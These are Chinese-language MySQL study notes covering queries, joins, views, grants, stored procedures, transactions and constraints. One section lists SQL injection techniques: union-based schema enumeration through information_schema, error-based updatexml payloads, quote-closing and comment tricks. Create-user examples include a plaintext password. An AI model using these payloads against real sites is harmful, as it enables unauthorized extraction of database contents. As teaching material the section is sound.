SQL常用语句

数据库

1.标准语言SQL语句

数据查询语言DQL:select;

数据操纵语言DML：update,insert,delete

数据定义语言DDL:create,drop,alter

数据控制语言DCL:grant,revoke

1.数据查询(select)

目标：

1.查询某一列

2.查询所有列

3.查询计算后的值

4.查询别名

create schema test;
use test;
create table texx(
    Sname char(9),
    sage int,
    sex char(9),
    max char(10)
);
select Sname from texx;
select * from texx;
select sage-1 from texx;
select Sname as aa,sage,sex,lower(max) from texx;

1.消除取值重复的行（distinct）

2.查询满足条件的元组（where）(in,between and,<,)

select distinct sex from texx;
select  sage,Sname from texx where sex in ('e','r') and sage>2;

3.字符匹配

select Sname,sex from texx where sex like '_d%';
select Sname,sex from texx where sex like '_d_d%';
select Sname,sex from texx where sex like '_\_%' escape '';

4.order by “列” ASC DESC

select * from texx where sage>0 order by sage asc;
select * from texx where sage>0 order by sage desc;
//查询之后多排列select * from texx where sage>0 order by sage desc,sage asc;

5.聚焦函数

聚焦函数要么分组聚焦，要么全部聚焦

select Cno,count(Grade) from sc GROUP BY Cno;
select count(Grade) from sc;

select count(*)
from texx;
select avg(sage) from texx;
select sum(sage) from texx;
select max(sage) from texx;
select min(sage) from texx;

6.group by

select sex,count(max) from texx group by sex having count(max)>1;
#having是分组之后再进行筛选

​ 建立三个表：

create table Student(
    Sno char(10) primary key,
    Sname char(15),
    Ssex char(10),
    Sage int,
    Sdept char(10)
);
create table Course
(
    Cno     int primary key,
    Cname   char(20),
    Cpno    int,
    Ccredit int
);
create table SC(
    Sno char(10),
    Cno int,
    primary key (Sno,Cno),//这是重点类容
    Grade int
);
insert into student(Sno,Sname,Ssex,Sage,Sdept) values ('201215121','李勇','男',20,'CS'),('201215122','刘晨','女',19,'CS'),('201215123','王敏','女',18,'MA'),('201215125','张立','男',19,'IS');
select * from Student;
insert into course(Cno,Cname,Cpno,Ccredit) values (1,'数据库',5,4),(2,'数学',null,2),(3,'信息系统',1,4),(4,'操作系统',6,3),(5,'数据结构',7,4),(6,'数据处理',null,2),(7,'PASCAL语言',6,4);
insert into sc(Sno,Cno,Grade) values ('201215121',1,92),('201215121',2,85),('201215121',3,88),('201215122',2,90),('201215122',3,80);
select * from course;
select * from sc;

create table sequenceDemo(
    ID int auto_increment,
    primary key (ID)
);
#创建序列
#插入之后表ID字段会自动增加
insert into sequenceDemo values (),(),();
alter table sequenceDemo auto_increment=200;
#让字段值从什么开始
insert into sequenceDemo values (),(),();

7.连接查询

1.等值与非等值连接

a:查询每个学生及其选修课程的情况

select student.*,sc.* from student,sc where student.Sno=sc.Sno;

b.查询选修2号课程且成绩在90分以上的所有学生的学号跟姓名：

select student.Sno,Sname from student,sc where student.Sno=sc.Sno and sc.Grade>90 and sc.Cno=2;

2.自身连接

查询每一门课程的间接先修课

select x1.Cno,x2.Cpno from course x1,course x2 where x1.Cpno=x2.Cno;

3.外连接

select student.Sno,Sname,Ssex,Sage,Sdept,Cno,Grade from student left join sc s on student.Sno = s.Sno;

4.多表连接

查询每个学生的学号，姓名，选修的课程名及成绩

select student.Sno,Sname,Cname,Grade from student,course,sc where student.Sno=sc.Sno and sc.Cno=course.Cno;

8.嵌套查询

嵌套查询中，子查询的select语句中不能使用order by子句，order by子句只能够对最终结果排序

1.带有in谓词的子查询

a.查询与“刘晨”在同一个系学习的学生

select * from student where Sdept='CS';

b. 查找所有在CS系学习的学生

select * from student where Sdept='CS';

c.查询选修了课程名为“信息系统“的学生学号和姓名

select Cno from course where Cname='信息系统';
select Sno from sc where Cno in (select Cno from course where Cname='信息系统');
select Sno,sname from student where Sno in (select Sno from sc where Cno in (select Cno from course where Cname='信息系统'))

2.带有比较运算符的子查询

a.找出每个学生超过他自己选修课程平均成绩的课程号

select Sno,Cno from sc x where Grade>=(select avg(Grade) from sc y where x.Sno=y.Sno);

3.带有ANY或ALL谓词的子查询

a.查询非计算机科学系中比计算机科学系任意一个学生年龄小的学生姓名和年龄

select Sname,Sage from student where Sage<ANY(select Sage from student where Sdept='CS') and Sdept!='CS';

4.带有exists谓词的子查询

a.查询所有选修1号课程的学生姓名

select Sname from student where EXISTS (select * from sc where sc.Sno=Student.Sno and Cno=1);

b.查询选修了全部课程的学生姓名//不懂

select Sname from student where NOT EXISTS(select * from course where Not exists(select * from sc where Sno=student.Sno AND Cno=course.Cno) );

5.集合查询

联合查询的列数必须相同，联合查询是两个表向下拼接的，不管两个变量值是否相同

select *
from dept_age union select * from xxx;

集合操作主要包括并操作（UNION）,交操作（intersect）和差操作（except）

a.查询计算机科学系的学生，及年龄不大于19的学生

select * from student where Sdept='CS' UNION select * from student where Sage<=19;

6.查询分页

select * from course limit 1,4;
select * from course limit 2,4;
/*1代表从第几行开始，4代表所有的行数*/

2.数据更新

1.插入数据（insert）

1.插入元组

insert into student values (201215128,'陈东','男',18,'IS');

2.插入子查询结果

create table dept_age(
    Sdept char(10),
    age smallint
);
insert into dept_age(Sdept, age) select Sdept,avg(Sage) from student GROUP BY Sdept;

2.更改数据（update）

1.修改某一个元组的值

​ 将学生201215121的年龄改为22

update student set Sage=22 where Sno=201215121;

2.修改多个元组的值

​ 将所有学生的年龄增加一岁

update student set Sage=Sage+1;

3.带子查询的修改语句

​ 将计算机科学系所有学生成绩改为0

update sc set Grade = 0 where Sno in (select Sno from student where Sdept = 'CS');

3.删除数据（delete）

1.删除一个元组的值

删除学号为201215128学生的选课记录

delete from sc where Sno = 201215128;

2.删除多个元组的值

删除所有学生的选课记录

delete from sc ;

3.带子查询的删除语句

删除计算机科学系学生的选课记录

delete from sc where Sno in (select Sno from student where Sdept = 'CS');

3.视图

​ 在修改基本表后最后删除这个视图，然后在重新建立这个视图

1.建立视图

a.建立学生基本表视图，要求在操作时学生的部门仍然是IS

create view Is_student as select Sno,Sname,Sage from student where Sdept='IS' with check option;

2.删除视图

drop view is_student;

3.查询视图

跟查询基本表差不多

4.更新视图

跟查询基本表差不多

4.各语句的差别

1.alert和Update

1.Alter是数据定义语言（Data difinition Language），在修改表的结构时，不需要Commit和Rollback

修改表的某个属性的类型

alter table t_trig_log modify column CREATE_DATE int;
alter table t_trig_log modify column LOG_SEQ int;

2.Update是数据数据操作语言(Data manipulation Language)，在修改数据值时，需要Commit和Rollback，否则提交的结构无效

alter table sc add xx int;
alter table sc change xx yy int;
update sc set yy=Cno+1;
alter table sc drop yy;
desc sc;//查询表的字段信息

show databases;/*查看数据库的数量*/

create user 'yangkang'@'localhost' identified by '901026yk';/*创建用户*/

2.drop和delete

delete 删除的是 数据，drop删除的是 表

3.order by和group by

select * from student order by Sage desc ;#按照Sage降序排列，默认升序

select count(Ssex) from student group by Ssex having count(Sage)>2;#having后面的语句必须是group by聚合过的

3.索引机制

1.创建，修改，删除索引

/*创建索引*/
create unique index SCno on sc(Sno asc,cno DESC );
/*修改索引包括先删除再重新创建*/
drop index SCno on sc;
create unique index SCCno on sc(Sno asc,cno DESC );

5.授权与回收

1.创建用户并设置密码

create user 'awe'@'localhost' identified by '901026yk';

2.删除用户

drop user 'awe'@'localhost';

1.查询权限（yangkang）

show grants for 'yangkang'@'localhost';

2.授予权限

grant select on test.sc to 'yangkang'@'localhost';

3.撤销权限

revoke select on test.sc from 'yangkang'@'localhost';

​ 注：数据库.*代表数据库中的所有表，grant all 代表授予所有权限

6.存储过程

1.创建存储过程

create procedure Snoavg()
begin
    select avg(Cno) as Cnoavg from sc;
end;

2.使用存储过程

call Snoavg();#mysql中叫做例程

3.删除存储过程

drop procedure Snoavg;

4.使用参数

create procedure scGrade(
out p1 int,
out p2 int,
out p3 decimal(8,2)
)
begin
    select min(Grade) into p1 from sc;
    select max(Grade) into p2 from sc;
    select avg(Grade) into p3 from sc;
end;
call scGrade(@p1,@p2,@p3);
select @p1;

create procedure scGrade(
in Gradex int(11),
out Cnox int(11)#注意这里的变量没有@
)
begin
    select Cno from sc where Grade=Gradex into Cnox;
end;
call scGrade(80,@x);
select @x;

5.建立智能存储过程

7.SQL注入常用语句

1.常用表

schemata # 数据库信息
schema_name

tables # 表信息
table_schema
table_name

columns # 字段信息
column_name
table_schema
table_name

2.sql注入常用函数

select version();# mysql 数据库版本
select database(); # 当前数据库名
select user(); # 用户名
select current_user(); # 当前用户名
select system_user(); # 系统用户名

MySQL：字符串函数：
length() # 返回字符串的长度
substring()

updatexml(参数1 , 参数2 , 参数3);

参数1: 文件名 , 比如 a.xml
参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
参数3: 数值 , 比如 tianjing
如果路径中存在特殊符号 比如’~’,就会报错 , 同时后显示路径参数的内容
substr() # 截取字符串

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

mid()
left() # 从左侧开始取指定字符个数的字符串
concat() # 没有分隔符的连接字符串
concat_ws() # 含有分割符的连接字符串
group_conat() # 连接一个组的字符串
ord() # 返回ASCII 码
ascii()
hex() # 将字符串转换为十六进制
unhex() # hex 的反向操作
md5() # 返回MD5 值
floor(x) # 返回不大于x 的最大整数
round() # 返回参数x 接近的整数
rand() # 返回0-1 之间的随机浮点数
load_file() # 读取文件，并返回文件内容作为一个字符串
sleep() # 睡眠时间为指定的秒数
if(true,t,f) # if 判断
find_in_set() # 返回字符串在字符串列表中的位置
benchmark() # 指定语句执行的次数

3.SQL注入常用语句：

1.union注入

#查看当前有多少数据库
select group_concat(database());
#group_concat()括号中数据的集合

select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();
#查询当前数据库有多少表

select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA = database() and TABLE_NAME = 'xxx';
#查询当前数据库某个表有什么字段

#查询当前数据库某个表的字段的值
select group_concat(concat_ws(':','学号',Sno)) from test.sc;
#concat_ws()用于将两个字符串连接起来，其中第一个字段是分隔符

2.报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1);
//更换第三个括号中的类容，将这条语句插入到数据库中执行

and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);
and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
//updatexml返回的错误信息最多只有31个字符，所以进行分别报错

4.SQL注入原理

1.union:前后语句列数相同不报错，否则报错，让前面语句为假，后面就可以执行我们想要的语句(and语句，前面不成立，后面的语句就不会执行)

2.union select 1,2,3和 order by 3是相同的作用，都是用于判断SQL注入语句有几列，在select group_concat(table_name)，1，2要注意输出哪几个位置，然后把group_concat(table_name)放到正确的位置

3.在SQL语句中加入（）huo “ “ huo ‘ ‘语句没影响

4.—+和 %23 都是注释

5.？id= 1‘）这样写的目的是为了在注释掉后面的语句时，前面不发生报错，让前面的语句闭合为假

8.Mysql事务

1.事务的基本概念

开启标志（begin）

• 任何一条DML语句(insert、update、delete)执行

结束标志(提交或回滚)（commit和rollback）

• 提交：成功的结束，将所有的DML语句操作历史记录和底层硬盘数据来一次同步
• 回滚：失败的结束，将所有DML语句操作历史记录全部清空

注： mysql默认情况下，事务是自动提交的，也就是说只要执行了一条DML语句就开启了事务，并且提交了事务

2.数据库的安全性

3.数据库完整性

1.实体完整性（每插入一个数据就看这个数据的主码是否非空唯一）

create table ss(
    x1 int primary key
);
create table sss(
    x1 int,
    x2 int,
    primary key (x1,x2)
);

2.参照完整性

create table sss(
    x1 int,
    x2 int,
    foreign key (x1) references ss(x1)
);;

create table sss(
    x1 int,
    x2 int,
    foreign key (x1) references ss(x1)
                ON DELETE cascade
);级联操作
 ON delete NO ACTION //在删除的时候拒绝

3.用户定义完整性

1.属性上的约束条件

not null

unique

check:(sss表中的性别只能够取男和女生)

create table sss(
    x1 int,
    sex char(2) check ( sex in ('an','lu') )
);

当插入和删除时如果不满足条件则拒绝

2.元组上的约束条件

sss表中的性别只能够取男和女生：

create table sss(
    x1 int,
    sex char(2),
    check ( sex in ('an','lu') )
);

4.触发器

1定义触发器

2.激活触发器

3.删除触发器

9.数据库存储过程

存储过程简单来说，就是为以后的使用而保存

的一条或多条MySQL语句的集合。可将其视为批文件，虽然它们的作用 不仅限于批处理

1.创建存储过程

2.删除存储过程